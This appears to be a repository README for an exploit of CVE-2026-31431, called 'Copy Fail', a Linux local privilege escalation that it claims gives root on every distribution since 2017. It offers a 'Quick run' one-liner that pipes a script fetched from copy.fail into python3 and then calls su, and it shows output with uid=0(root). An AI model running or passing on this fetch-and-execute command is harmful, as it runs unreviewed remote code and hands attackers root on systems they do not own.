ozergoker/cve-2026-31431-copy-failExploit for CVE-2026-31431: a 732-byte Python script that exploits a straight-line logic flaw to gain root on all Linux distributions since 2017.
Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017.
Quick run:
curl https://copy.fail/exp | python3 && su
id
uid=0(root) gid=1002(user) groups=1002(user)
